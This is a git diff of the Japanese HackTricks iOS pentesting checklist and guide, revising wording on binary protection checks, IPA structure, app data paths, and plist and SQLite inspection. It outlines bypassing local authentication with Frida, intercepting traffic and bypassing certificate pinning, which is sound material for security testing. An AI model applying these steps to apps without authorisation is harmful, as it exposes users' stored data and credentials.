* [ ] アプリケーションで[**ローカル認証**](ios-pentesting/#local-authentication)が使用されている場合、認証がどのように機能しているかを確認してください。
|
||||
* [ ] [**Local Authentication Framework**](ios-pentesting/#local-authentication-framework)を使用している場合、簡単にバイパスできる可能性があります。
|
||||
* [ ] [**動的にバイパスできる関数**](ios-pentesting/#local-authentication-using-keychain)を使用している場合、カスタムフリダスクリプトを作成できます。
|
||||
* [ ] [**動的にバイパスできる関数**](ios-pentesting/#local-authentication-using-keychain)を使用している場合、カスタムFridaスクリプトを作成できます。
|
||||
|
||||
### IPCを介した機密機能の露出
|
||||
|
||||
* [**カスタムURIハンドラ/ディープリンク/カスタムスキーム**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
|
||||
* [ ] アプリケーションが**どのようなプロトコル/スキームを登録しているか**を確認してください。
|
||||
* [ ] アプリケーションがどのようなプロトコル/スキームを**使用するために登録しているか**を確認してください。
|
||||
* [ ] アプリケーションがカスタムスキームから受信することを期待している**機密情報の種類**を確認し、同じスキームを登録している別のアプリケーションによって**傍受**される可能性があるかを確認してください。
|
||||
* カスタムスキームを介して**ユーザー入力をチェックおよび消毒していない**場合、**脆弱性が悪用**される可能性があるかを確認してください。
|
||||
* どこからでも呼び出すことができる**機密アクションを公開**していないかを確認してください。
|
||||
* [ ] アプリケーションが**どのようなプロトコル/スキームを使用するように登録しているか**を確認してください。
|
||||
* [ ] アプリケーションがカスタムスキームから受信する可能性のある**機密情報**を**他のアプリケーションが同じスキームを登録してインターセプト**できるかどうかを確認してください。
|
||||
* [ ] アプリケーションがカスタムスキームを介して**ユーザー入力をチェックおよび消毒していない**かどうかを確認し、いくつかの**脆弱性が悪用**される可能性があるかどうかを確認してください。
|
||||
* [ ] アプリケーションがカスタムスキームを介して**どこからでも呼び出すことができる機密なアクション**を公開していないかを確認してください。
|
||||
* [**Universal Links**](ios-pentesting/#universal-links)
|
||||
* [ ] アプリケーションが**どのようなユニバーサルプロトコル/スキームを登録しているか**を確認してください。
|
||||
* `apple-app-site-association`ファイルを確認してください。
|
||||
* カスタムスキームを介して**ユーザー入力をチェックおよび消毒していない**場合、**脆弱性が悪用**される可能性があるかを確認してください。
|
||||
* どこからでも呼び出すことができる**機密アクションを公開**していないかを確認してください。
|
||||
* [ ] `apple-app-site-association`ファイルを確認してください。
|
||||
* [ ] アプリケーションがカスタムスキームを介して**ユーザー入力をチェックおよび消毒していない**かどうかを確認し、いくつかの**脆弱性が悪用**される可能性があるかどうかを確認してください。
|
||||
* [ ] アプリケーションがカスタムスキームを介して**どこからでも呼び出すことができる機密なアクション**を公開していないかを確認してください。
|
||||
* [**UIActivity Sharing**](ios-pentesting/ios-uiactivity-sharing.md)
|
||||
* [ ] アプリケーションがUIActivitiesを受信できるかどうか、特別に作成されたアクティビティで**脆弱性を悪用**できるかを確認してください。
|
||||
* [ ] アプリケーションがUIActivitiesを受信できるかどうか、特別に作成されたアクティビティで**脆弱性を悪用**できるかどうかを確認してください。
|
||||
* [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md)
|
||||
* [ ] アプリケーションが**一般のペーストボードに何かをコピーしているか**を確認してください。
|
||||
* [ ] アプリケーションが**一般のペーストボードからデータを使用しているか**を確認してください。
|
||||
* ペーストボードを監視して、**機密データがコピーされているか**を確認してください。
|
||||
* [ ] ペーストボードを監視して、**機密データがコピーされているか**を確認してください。
|
||||
* [**App Extensions**](ios-pentesting/ios-app-extensions.md)
|
||||
* アプリケーションが**拡張機能を使用しているか**を確認してください。
|
||||
* [ ] アプリケーションが**どのような拡張機能を使用しているか**を確認してください。
|
||||
* [**WebViews**](ios-pentesting/ios-webviews.md)
|
||||
* 使用されているWebViewsの種類を確認してください。
|
||||
* **`javaScriptEnabled`**、**`JavaScriptCanOpenWindowsAutomatically`**、**`hasOnlySecureContent`**のステータスを確認してください。
|
||||
* Webviewが**`file://`プロトコルでローカルファイルにアクセスできるか**を確認してください(`allowFileAccessFromFileURLs`、`allowUniversalAccessFromFileURLs`)。
|
||||
* Javascriptが**Native** **メソッドにアクセスできるか**を確認してください(`JSContext`、`postMessage`)。
|
||||
* [ ] 使用されているWebViewsの種類を確認してください。
|
||||
* [ ] **`javaScriptEnabled`**、**`JavaScriptCanOpenWindowsAutomatically`**、**`hasOnlySecureContent`**の状態を確認してください。
|
||||
* [ ] Webviewが**`file://`プロトコルでローカルファイルにアクセスできるか**を確認してください(`allowFileAccessFromFileURLs`、`allowUniversalAccessFromFileURLs`)。
|
||||
* [ ] Javascriptが**Native** **メソッドにアクセスできるか**を確認してください(`JSContext`、`postMessage`)。
|
||||
### ネットワーク通信
|
||||
|
||||
* [ ] [**通信へのMitM**](ios-pentesting/#network-communication)を実行し、Web脆弱性を検索します。
|
||||
* [ ] [**証明書のホスト名**](ios-pentesting/#hostname-check)がチェックされているかどうかを確認します。
|
||||
* [ ] [**証明書のホスト名**](ios-pentesting/#hostname-check)がチェックされているか確認します。
|
||||
* [ ] [**証明書ピニング**](ios-pentesting/#certificate-pinning)をチェック/バイパスします。
|
||||
|
||||
### **その他**
|
||||
|
@ -119,7 +119,7 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -129,15 +129,15 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksのPDFをダウンロード**したり、**HackTricksで企業を宣伝**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
|
||||
* **HackTricksの広告を見たい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**したり、Twitterで**フォロー**する 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
|
|
|
@ -1,16 +1,16 @@
|
|||
# iOS Pentesting
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスしてください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>で**ゼロからヒーローまでAWSハッキングを学びましょう**!</summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
|
@ -47,7 +47,7 @@ HackTricksをサポートする他の方法:
|
|||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="info" %}
|
||||
以下の手順に進むには、アプリがデバイスに**インストールされている必要があり**、アプリの**IPAファイルをすでに取得している必要があります**。\
|
||||
以下の手順には、アプリがデバイスに**インストールされている必要があり**、アプリケーションの**IPAファイルをすでに取得している必要があります**。\
|
||||
これを行う方法については、[基本的なiOSテスト操作](basic-ios-testing-operations.md)ページを読んでください。
|
||||
{% endhint %}
|
||||
|
||||
|
@ -60,17 +60,17 @@ HackTricksをサポートする他の方法:
|
|||
* **PIE(Position Independent Executable)**:有効になっている場合、アプリケーションは起動するたびにランダムなメモリアドレスにロードされ、初期メモリアドレスを予測するのが難しくなります。
|
||||
|
||||
```bash
|
||||
otool -hv <app-binary> | grep PIE # PIEフラグが含まれている必要があります
|
||||
otool -hv <app-binary> | grep PIE # PIEフラグを含める必要があります
|
||||
```
|
||||
* **スタックキャナリー**:スタックの整合性を検証するために、関数を呼び出す前にスタックに「キャナリー」値が配置され、関数が終了すると再度検証されます。
|
||||
|
||||
```bash
|
||||
otool -I -v <app-binary> | grep stack_chk # stack_chk_guardおよびstack_chk_failのシンボルが含まれている必要があります
|
||||
otool -I -v <app-binary> | grep stack_chk # stack_chk_guardおよびstack_chk_failのシンボルを含める必要があります
|
||||
```
|
||||
* **ARC(Automatic Reference Counting)**:一般的なメモリ破壊の欠陥を防ぐため
|
||||
* **ARC(Automatic Reference Counting)**:一般的なメモリ破損の欠陥を防ぐため
|
||||
|
||||
```bash
|
||||
otool -I -v <app-binary> | grep objc_release # _objc_releaseシンボルが含まれている必要があります
|
||||
otool -I -v <app-binary> | grep objc_release # _objc_releaseシンボルを含める必要があります
|
||||
```
|
||||
* **暗号化されたバイナリ**:バイナリは暗号化されている必要があります
|
||||
|
||||
|
@ -164,7 +164,7 @@ PID Name Identifier
|
|||
```
|
||||
### 基本列挙とフック
|
||||
|
||||
アプリケーションのコンポーネントを列挙する方法と、簡単にメソッドやクラスをフックする方法を学びましょう objection を使用して:
|
||||
アプリケーションの**コンポーネントを列挙**する方法と、簡単に**メソッドやクラスをフック**する方法を objection を使用して学びます:
|
||||
|
||||
{% content-ref url="ios-hooking-with-objection.md" %}
|
||||
[ios-hooking-with-objection.md](ios-hooking-with-objection.md)
|
||||
|
@ -172,26 +172,26 @@ PID Name Identifier
|
|||
|
||||
### IPAの構造
|
||||
|
||||
**IPAファイル**の構造は基本的に**圧縮されたパッケージ**です。拡張子を `.zip` に変更することで、その内容を表示するために**展開**できます。この構造の中で、**Bundle** はインストールの準備が整った完全なパッケージ化されたアプリケーションを表します。内部には、アプリケーションのリソースをカプセル化した `<NAME>.app` というディレクトリが含まれています。
|
||||
**IPAファイル**の構造は基本的に**圧縮されたパッケージ**です。拡張子を`.zip`に変更することで、その内容を明らかにするために**展開**できます。この構造の中で、**Bundle**はインストールの準備が整った完全なパッケージ化されたアプリケーションを表します。内部には、アプリケーションのリソースをカプセル化した`<NAME>.app`というディレクトリが含まれています。
|
||||
|
||||
* **`Info.plist`**: このファイルにはアプリケーションの特定の構成詳細が記載されています。
|
||||
* **`_CodeSignature/`**: このディレクトリには、バンドル内のすべてのファイルの整合性を確保する署名を含む plist ファイルが含まれています。
|
||||
* **`Assets.car`**: アイコンなどのアセットファイルを保存する圧縮アーカイブです。
|
||||
* **`Frameworks/`**: このフォルダには、`.dylib` または `.framework` ファイルの形式であるアプリケーションのネイティブライブラリが格納されています。
|
||||
* **`PlugIns/`**: これには、`.appex` ファイルとして知られるアプリケーションの拡張機能が含まれる場合がありますが、常に存在するわけではありません。
|
||||
* [**`Core Data`**](https://developer.apple.com/documentation/coredata): これは、アプリケーションの永続データをオフラインで保存し、一時データをキャッシュし、単一のデバイスでアプリに元に戻す機能を追加するために使用されます。単一の iCloud アカウント内の複数のデバイス間でデータを同期するために、Core Data はスキーマを自動的に CloudKit コンテナにミラーリングします。
|
||||
* [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): `PkgInfo` ファイルは、アプリケーションまたはバンドルのタイプと作成者コードを指定する別の方法です。
|
||||
* **`Frameworks/`**: このフォルダには、`.dylib`や`.framework`形式のアプリケーションのネイティブライブラリが格納されています。
|
||||
* **`PlugIns/`**: これには、`.appex`ファイルとして知られるアプリケーションの拡張機能が含まれる場合がありますが、常に存在するわけではありません。
|
||||
* [**`Core Data`**](https://developer.apple.com/documentation/coredata): これは、アプリケーションの永続データをオフラインで保存し、一時データをキャッシュし、単一デバイスでアプリに元に戻す機能を追加するために使用されます。単一の iCloud アカウント内の複数のデバイス間でデータを同期するために、Core Data はスキーマを自動的に CloudKit コンテナにミラーリングします。
|
||||
* [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): `PkgInfo`ファイルは、アプリケーションまたはバンドルのタイプと作成者コードを指定する別の方法です。
|
||||
* **en.lproj, fr.proj, Base.lproj**: これらは、特定の言語のリソースを含み、言語がサポートされていない場合のデフォルトリソースを含む言語パックです。
|
||||
* **セキュリティ**: `_CodeSignature/` ディレクトリは、デジタル署名を介してバンドルされたすべてのファイルの整合性を検証することで、アプリのセキュリティに重要な役割を果たします。
|
||||
* **アセット管理**: `Assets.car` ファイルは、グラフィカルアセットを効率的に管理するために圧縮を使用し、アプリケーションのパフォーマンスを最適化し、全体のサイズを削減するために重要です。
|
||||
* **フレームワークとプラグイン**: これらのディレクトリは、iOSアプリケーションのモジュラリティを強調し、再利用可能なコードライブラリ (`Frameworks/`) を含め、アプリの機能を拡張する (`PlugIns/`) ことを可能にします。
|
||||
* **ローカライゼーション**: この構造は、複数の言語をサポートし、特定の言語パックのリソースを含むことで、グローバルなアプリケーションの到達を容易にします。
|
||||
* **セキュリティ**: `_CodeSignature/`ディレクトリは、デジタル署名を介してバンドルされたすべてのファイルの整合性を検証することで、アプリのセキュリティに重要な役割を果たします。
|
||||
* **アセット管理**: `Assets.car`ファイルは、グラフィカルアセットを効率的に管理するために圧縮を使用し、アプリケーションのパフォーマンスを最適化し、全体のサイズを削減するために重要です。
|
||||
* **フレームワークとプラグイン**: これらのディレクトリは、iOSアプリケーションのモジュラリティを強調し、再利用可能なコードライブラリ(`Frameworks/`)を含めたり、アプリの機能を拡張したり(`PlugIns/`)することを開発者に許可します。
|
||||
* **ローカライゼーション**: この構造は、特定の言語パックのリソースを含むことで、複数の言語をサポートし、グローバルなアプリケーションの到達性を促進します。
|
||||
|
||||
**Info.plist**
|
||||
|
||||
**Info.plist** は、iOSアプリケーションの基盤として機能し、キーと値のペアの形式で重要な構成データをカプセル化します。このファイルは、アプリケーションだけでなく、バンドル内にバンドルされたアプリケーション拡張機能やフレームワークにとっても必須です。XMLまたはバイナリ形式で構造化され、アプリの権限からセキュリティ構成まで、重要な情報を保持しています。利用可能なキーの詳細な探索については、[**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information\_property\_list?language=objc) を参照してください。
|
||||
**Info.plist**は、iOSアプリケーションの基盤として機能し、**キーと値**のペアの形式で重要な構成データをカプセル化します。このファイルは、アプリケーションだけでなく、バンドル内にバンドルされたアプリケーション拡張機能やフレームワークにも必須です。XMLまたはバイナリ形式で構造化され、アプリの権限からセキュリティ構成まで、重要な情報を保持しています。利用可能なキーの詳細な探索については、[**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information\_property\_list?language=objc)を参照してください。
|
||||
|
||||
このファイルをよりアクセスしやすい形式で操作したい場合、macOS では `plutil` を使用して簡単に XML 変換を行うことができます(バージョン10.2以降でネイティブで利用可能)、Linux では `plistutil` を使用します。変換のためのコマンドは次のとおりです:
|
||||
このファイルをよりアクセスしやすい形式で扱いたい場合、macOSでは`plutil`(バージョン10.2以降でネイティブで利用可能)またはLinuxでは`plistutil`を使用して、XML変換を簡単に行うことができます。変換のためのコマンドは次の通りです:
|
||||
|
||||
* **macOS用**:
|
||||
```bash
|
||||
|
@ -202,15 +202,15 @@ $ plutil -convert xml1 Info.plist
|
|||
$ apt install libplist-utils
|
||||
$ plistutil -i Info.plist -o Info_xml.plist
|
||||
```
|
||||
Info.plist**ファイルが漏洩する可能性のある情報の中には、アプリの許可文字列(`UsageDescription`)、カスタムURLスキーム(`CFBundleURLTypes`)、App Transport Securityの設定(`NSAppTransportSecurity`)などがあります。これらのエントリは、ファイルを検査するか、単純な`grep`コマンドを使用して簡単に見つけることができます。
|
||||
Info.plist**ファイルが漏洩する可能性のある情報の中には、アプリの許可文字列(`UsageDescription`)、カスタムURLスキーム(`CFBundleURLTypes`)、App Transport Securityの構成(`NSAppTransportSecurity`)などがあります。これらのエントリは、ファイルを検査するか、単純な`grep`コマンドを使用して簡単に見つけることができます。
|
||||
```bash
|
||||
$ grep -i <keyword> Info.plist
|
||||
```
|
||||
**データパス**
|
||||
|
||||
iOS環境では、ディレクトリが**システムアプリケーション**と**ユーザーがインストールしたアプリケーション**のために特別に指定されています。システムアプリケーションは`/Applications`ディレクトリにあり、ユーザーがインストールしたアプリケーションは`/private/var/containers/`以下に配置されます。これらのアプリケーションには**128ビットUUID**として知られる一意の識別子が割り当てられており、ディレクトリ名のランダム性によりアプリのフォルダを手動で見つける作業が困難です。
|
||||
iOS環境では、ディレクトリが**システムアプリケーション**と**ユーザーがインストールしたアプリケーション**のために特に指定されています。システムアプリケーションは`/Applications`ディレクトリにあり、ユーザーがインストールしたアプリケーションは`/private/var/containers/`以下に配置されます。これらのアプリケーションには**128ビットUUID**として知られる一意の識別子が割り当てられており、ディレクトリ名のランダム性によりアプリのフォルダを手動で見つける作業が困難です。
|
||||
|
||||
ユーザーがインストールしたアプリのインストールディレクトリを見つけるために、**objectionツール**は便利な`env`コマンドを提供しています。このコマンドは、対象のアプリに関する詳細なディレクトリ情報を表示します。以下は、このコマンドの使用方法の例です:
|
||||
ユーザーがインストールしたアプリのインストールディレクトリを見つけるために、**objectionツール**は便利な`env`コマンドを提供しています。このコマンドは、対象のアプリに関する詳細なディレクトリ情報を表示します。以下は、このコマンドの使用方法の例です:
|
||||
```bash
|
||||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
|
||||
|
||||
|
@ -221,11 +221,11 @@ CachesDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8E
|
|||
DocumentDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
|
||||
LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library
|
||||
```
|
||||
代わりに、`find`コマンドを使用して`/private/var/containers`内でアプリ名を検索できます:
|
||||
または、`find`コマンドを使用して`/private/var/containers`内でアプリ名を検索できます:
|
||||
```bash
|
||||
find /private/var/containers -name "Progname*"
|
||||
```
|
||||
次のようなコマンド、`ps`や`lsof`も利用して、アプリのプロセスを特定したり、開いているファイルの一覧を表示したりすることができ、それによってアプリケーションのアクティブなディレクトリパスについての洞察を得ることができます。
|
||||
次のようなコマンド、`ps`や`lsof`は、アプリのプロセスを特定したり、開いているファイルの一覧を表示したりするためにも利用できます。これにより、アプリケーションのアクティブなディレクトリパスに関する洞察が得られます。
|
||||
```bash
|
||||
ps -ef | grep -i <app-name>
|
||||
lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
|
@ -241,15 +241,15 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
|||
**データディレクトリ:**
|
||||
|
||||
* **Documents/**
|
||||
* すべてのユーザー生成データが含まれています。アプリケーションエンドユーザーがこのデータの作成を開始します。
|
||||
* すべてのユーザー生成データが含まれています。アプリケーションのエンドユーザーがこのデータの作成を開始します。
|
||||
* ユーザーに見え、**ユーザーは書き込むことができます**。
|
||||
* このディレクトリ内のコンテンツは**バックアップされます**。
|
||||
* アプリは`NSURLIsExcludedFromBackupKey`を設定することでパスを無効にできます。
|
||||
* **Library/**
|
||||
* **ユーザー固有でないファイル**、**キャッシュ**、**設定**、**クッキー**、およびプロパティリスト(plist)構成ファイルが含まれています。
|
||||
* iOSアプリは通常、`Application Support`および`Caches`サブディレクトリを使用しますが、アプリはカスタムサブディレクトリを作成することができます。
|
||||
* **ユーザー固有でないファイル**、**キャッシュ**、**設定**、**クッキー**、およびプロパティリスト(plist)構成ファイルなどが含まれています。
|
||||
* iOSアプリは通常、`Application Support`および`Caches`サブディレクトリを使用しますが、アプリはカスタムサブディレクトリを作成できます。
|
||||
* **Library/Caches/**
|
||||
* **半永続的なキャッシュファイル**が含まれています。
|
||||
* **一時的なキャッシュファイル**が含まれています。
|
||||
* ユーザーには見えず、**ユーザーは書き込むことはできません**。
|
||||
* このディレクトリ内のコンテンツは**バックアップされません**。
|
||||
* アプリが実行されていないときやストレージ容量が不足しているとき、OSはこのディレクトリのファイルを自動的に削除する場合があります。
|
||||
|
@ -259,17 +259,17 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
|||
* このディレクトリ内のコンテンツは**バックアップされます**。
|
||||
* アプリは`NSURLIsExcludedFromBackupKey`を設定することでパスを無効にできます。
|
||||
* **Library/Preferences/**
|
||||
* アプリケーションが再起動されても**持続するプロパティを保存**するために使用されます。
|
||||
* 情報は、アプリケーションサンドボックス内のplistファイルで暗号化されていない形で保存されます。\[BUNDLE\_ID].plistと呼ばれます。
|
||||
* アプリケーションが再起動されても**持続するプロパティ**を保存するために使用されます。
|
||||
* 情報は、アプリケーションサンドボックス内の\[BUNDLE\_ID].plistというplistファイルに暗号化されていない形で保存されます。
|
||||
* `NSUserDefaults`を使用して保存されたすべてのキー/値ペアはこのファイルに見つけることができます。
|
||||
* **tmp/**
|
||||
* アプリの起動間に**持続する必要のない一時ファイル**を書き込むためにこのディレクトリを使用します。
|
||||
* 非永続的なキャッシュファイルが含まれています。
|
||||
* ユーザーには**見えません**。
|
||||
* このディレクトリ内のコンテンツはバックアップされません。
|
||||
* アプリが実行されていないときやストレージ容量が不足しているとき、OSはこのディレクトリのファイルを自動的に削除する場合があります。
|
||||
* OSは、アプリが実行されていないときやストレージ容量が不足しているとき、このディレクトリのファイルを自動的に削除する場合があります。
|
||||
|
||||
iGoat-Swiftのアプリケーションバンドル(.app)ディレクトリをバンドルディレクトリ内で詳しく見てみましょう(`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`)。
|
||||
iGoat-Swiftのアプリケーションバンドル(.app)ディレクトリをBundleディレクトリ内で詳しく見てみましょう(`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`)。
|
||||
```bash
|
||||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
|
||||
NSFileType Perms NSFileProtection ... Name
|
||||
|
@ -285,7 +285,7 @@ Regular 420 None ... README.txt
|
|||
```
|
||||
### バイナリリバース
|
||||
|
||||
`<application-name>.app`フォルダーの中には、`<application-name>`という名前のバイナリファイルが含まれています。これが**実行**されるファイルです。ツール**`otool`**を使用してバイナリの基本的な検査を行うことができます:
|
||||
`<application-name>.app` フォルダーの中には、`<application-name>` という名前のバイナリファイルが含まれています。これが**実行**されるファイルです。ツール **`otool`** を使用してバイナリの基本的な検査を行うことができます。
|
||||
```bash
|
||||
otool -Vh DVIA-v2 #Check some compilation attributes
|
||||
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
|
||||
|
@ -321,7 +321,7 @@ DVIA-v2:
|
|||
0000000100004acc adrp x10, 1098 ; 0x10044e000
|
||||
0000000100004ad0 add x10, x10, #0x268
|
||||
```
|
||||
**Objective-Cセグメント**を出力するには、次のコマンドを使用できます:
|
||||
**Objective-Cセグメント**を印刷するには、次のようにします:
|
||||
```bash
|
||||
otool -oV DVIA-v2
|
||||
DVIA-v2:
|
||||
|
@ -335,7 +335,7 @@ data 0x1003de748
|
|||
flags 0x80
|
||||
instanceStart 8
|
||||
```
|
||||
以下は、Objective-Cコードをよりコンパクトにするために使用できる[**class-dump**](http://stevenygard.com/projects/class-dump/)です:
|
||||
iOSのペネトレーションテストでは、よりコンパクトなObjective-Cコードを取得するために、[**class-dump**](http://stevenygard.com/projects/class-dump/)を使用できます:
|
||||
```bash
|
||||
class-dump some-app
|
||||
//
|
||||
|
@ -363,7 +363,7 @@ double _field2;
|
|||
```
|
||||
しかし、バイナリを逆アセンブルするための最良のオプションは、[**Hopper**](https://www.hopperapp.com/download.html?) と [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/) です。
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** し、**自動化** します。\
|
||||
|
@ -386,11 +386,11 @@ iOS がデバイス内にデータを保存する方法について学ぶには
|
|||
|
||||
### Plist
|
||||
|
||||
**plist** ファイルは、**キーと値のペアを含む** 構造化された XML ファイルです。これは永続データを保存する方法であり、したがって、これらのファイルに **機密情報が含まれていることがあります**。アプリをインストールした後や頻繁に使用した後にこれらのファイルをチェックすることをお勧めします。
|
||||
**plist** ファイルは、**キーと値のペアを含む** 構造化された XML ファイルです。永続データを保存する方法であり、したがって、これらのファイルに **機密情報が含まれることがあります**。アプリをインストールした後や頻繁に使用した後にこれらのファイルをチェックすることをお勧めします。
|
||||
|
||||
plist ファイルにデータを永続化する最も一般的な方法は、**NSUserDefaults** の使用です。この plist ファイルは、**`Library/Preferences/<appBundleID>.plist`** 内のアプリケーションサンドボックスに保存されます。
|
||||
plist ファイルにデータを永続化する最も一般的な方法は、**NSUserDefaults** の使用です。この plist ファイルは、**`Library/Preferences/<appBundleID>.plist`** 内のアプリケーションのサンドボックスに保存されます。
|
||||
|
||||
[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) クラスは、デフォルトシステムとのやり取りのためのプログラムインターフェースを提供します。デフォルトシステムにより、アプリケーションは **ユーザーの設定に応じて動作をカスタマイズ** できます。`NSUserDefaults` に保存されたデータは、アプリケーションバンドルで表示できます。このクラスは、**少量のデータ** と一緒に使用することを意図しています。
|
||||
[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) クラスは、デフォルトシステムとのやり取りのためのプログラムインターフェースを提供します。デフォルトシステムにより、アプリケーションは **ユーザーの設定に応じて動作をカスタマイズ** できます。`NSUserDefaults` に保存されたデータは、アプリケーションバンドル内で表示できます。このクラスは、**データ** を **plist** **ファイル** に保存しますが、少量のデータと一緒に使用することが意図されています。
|
||||
|
||||
このデータは、信頼されたコンピュータを介して直接アクセスすることはできませんが、**バックアップ** を実行することでアクセスできます。
|
||||
|
||||
|
@ -400,9 +400,7 @@ plist ファイルにデータを永続化する最も一般的な方法は、**
|
|||
```bash
|
||||
find ./ -name "*.plist"
|
||||
```
|
||||
以下は、**XMLまたはバイナリ(bplist)**形式のファイルをXML形式に変換するための、オペレーティングシステムに応じたさまざまな方法が利用可能です:
|
||||
|
||||
**macOSユーザー向け:** `plutil`コマンドを利用します。macOS(10.2以上)に組み込まれているこのツールは、この目的に特化しています。
|
||||
**macOSユーザー向け:** `plutil`コマンドを利用します。これはmacOS(10.2以上)に組み込まれたツールで、この目的のために設計されています。
|
||||
```bash
|
||||
$ plutil -convert xml1 Info.plist
|
||||
```
|
||||
|
@ -457,7 +455,7 @@ YapデータベースはSQLiteデータベースなので、前のセクショ
|
|||
|
||||
### その他のSQLiteデータベース
|
||||
|
||||
アプリケーションが独自のSQLiteデータベースを作成することは一般的です。それらには**機密データ**が格納されている可能性があり、暗号化されていないことがあります。そのため、アプリケーションディレクトリ内のすべてのデータベースをチェックすることは常に興味深いです。したがって、データが保存されているアプリケーションディレクトリに移動します (`/private/var/mobile/Containers/Data/Application/{APPID}`)
|
||||
アプリケーションが独自のSQLiteデータベースを作成することは一般的です。それらには**機密データ**が格納されている可能性があり、それが暗号化されていないままになっていることがあります。そのため、常にアプリケーションディレクトリ内のすべてのデータベースをチェックすることが興味深いです。したがって、データが保存されているアプリケーションディレクトリに移動します (`/private/var/mobile/Containers/Data/Application/{APPID}`)
|
||||
```bash
|
||||
find ./ -name "*.sqlite" -or -name "*.db"
|
||||
```
|
||||
|
@ -465,17 +463,13 @@ find ./ -name "*.sqlite" -or -name "*.db"
|
|||
|
||||
